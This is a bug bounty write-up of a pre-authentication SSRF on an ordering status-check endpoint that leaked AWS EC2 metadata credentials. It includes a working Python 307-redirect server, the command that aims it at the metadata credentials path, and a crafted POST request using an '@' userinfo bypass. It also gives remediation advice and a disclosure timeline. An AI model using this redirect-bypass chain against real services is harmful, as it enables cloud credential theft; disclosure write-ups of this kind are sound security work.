Pre-Auth Full Read SSRF Leaking AWS Keys via Redirect Bypass
This writeup covers a critical pre-authentication Server-Side Request Forgery (SSRF) I found and reported through a bug bounty program. The vulnerability allowed an unauthenticated attacker to retrieve AWS EC2 instance credentials from the metadata service, effectively yielding full read SSRF with a path to much broader cloud compromise.
The report was triaged, confirmed, fixed, and rewarded.
Discovery
While testing an ordering flow on the target application, I came across a status-check endpoint that accepted a POST request with a JSON body. The body contained a callback-URL field:
{
"content": {
"key-expires-in": "5 minutes",
"callback-URL": "http://internal.example.com",
"key": "",
"status": "Acknowledged",
"timestamp": "2024-07-10T23:59:53.984Z"
}
}
This immediately caught my attention. A server-side callback URL in a POST body is a classic SSRF surface. The endpoint required no authentication, making the attack surface significantly wider.
Initial attempt and bypass
My first instinct was to point callback-URL directly at the EC2 metadata service:
http://169.254.169.254/latest/meta-data/
This was blocked. The backend had rules in place that rejected requests containing the metadata IP directly. A reasonable defense, but not sufficient on its own.
The bypass was straightforward: redirect through an intermediary. I set up a minimal Python HTTP server on a VPS that responds to any incoming request with a 307 Temporary Redirect pointing to a URL of my choosing:
#!/usr/bin/env python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv) - 1 != 2:
print(f"Usage: {sys.argv[0]} <port> <redirect_url>")
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(307)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
Started the server with:
python3 redirect.py 9000 http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/
The backend validation only checked the initial URL in the request body. It did not validate where the server was ultimately redirected to. A 307 redirect preserves the request method and instructs the client (in this case, the backend reverse proxy) to follow the redirect to the new location.
Exploitation
The full attack:
- Start the redirect server on a VPS, configured to redirect to the EC2 metadata credentials endpoint
- Send an unauthenticated POST request to the status-check endpoint, with
callback-URLpointing to the VPS:
POST /api/v1/order/checkstatus HTTP/1.1
Host: www.redacted.com
Content-Type: application/json
Accept: application/json
{"content":{"key-expires-in":"5 minutes","callback-URL":"http://internal.redacted.com@<VPS_IP>:9000","key":"","status":"Acknowledged","timestamp":"2024-07-10T23:59:53.984Z"}}
Note the callback-URL format: http://internal.redacted.com@<VPS_IP>:9000. The @ symbol makes the part before it a userinfo component of the URL (effectively ignored), while the actual host resolution goes to the VPS. This is another layer to evade any hostname-based allowlist checks.
- The backend makes a GET request to the VPS, receives a
307redirect to the metadata URL, follows it, and returns the response directly.
The response contained the full EC2 security credentials:
AccessKeyIdSecretAccessKeyToken
These are temporary credentials issued by the instance metadata service that grant whatever IAM role is attached to the EC2 instance.
Impact
This is about as severe as SSRF gets:
- No authentication required — any internet user could exploit this
- Full read SSRF — the attacker can make the server fetch any internal URL and return the contents
- AWS credential exposure — the leaked keys can be used to interact with AWS services under the instance's IAM role, potentially reading S3 buckets, accessing databases, or pivoting further into the cloud environment
I stopped testing immediately after confirming the credential leak and reported the vulnerability. I did not use the credentials.
Remediation
The vendor resolved the issue within a few weeks. During retest, the endpoint no longer followed redirects to internal addresses, returning an error instead.
The general defenses against this class of vulnerability:
- Validate after redirect resolution, not just the initial URL. Allowlists must apply to the final destination
- Disable or restrict HTTP redirects in server-side HTTP clients making outbound requests
- Use IMDSv2 on EC2 instances, which requires a PUT-based token exchange that SSRF payloads cannot easily replicate
- Apply least-privilege IAM roles to EC2 instances to limit blast radius if credentials are leaked
- Network-level controls — restrict outbound traffic from application servers to only what's necessary
Timeline
| Date | Event |
|---|---|
| 2024-07-13 | Vulnerability reported |
| 2024-07-17 | Triaged |
| 2024-07-30 | Fix deployed, retest requested |
| 2024-08-01 | Fix confirmed, report resolved |
| 2024-08-02 | Bounty awarded |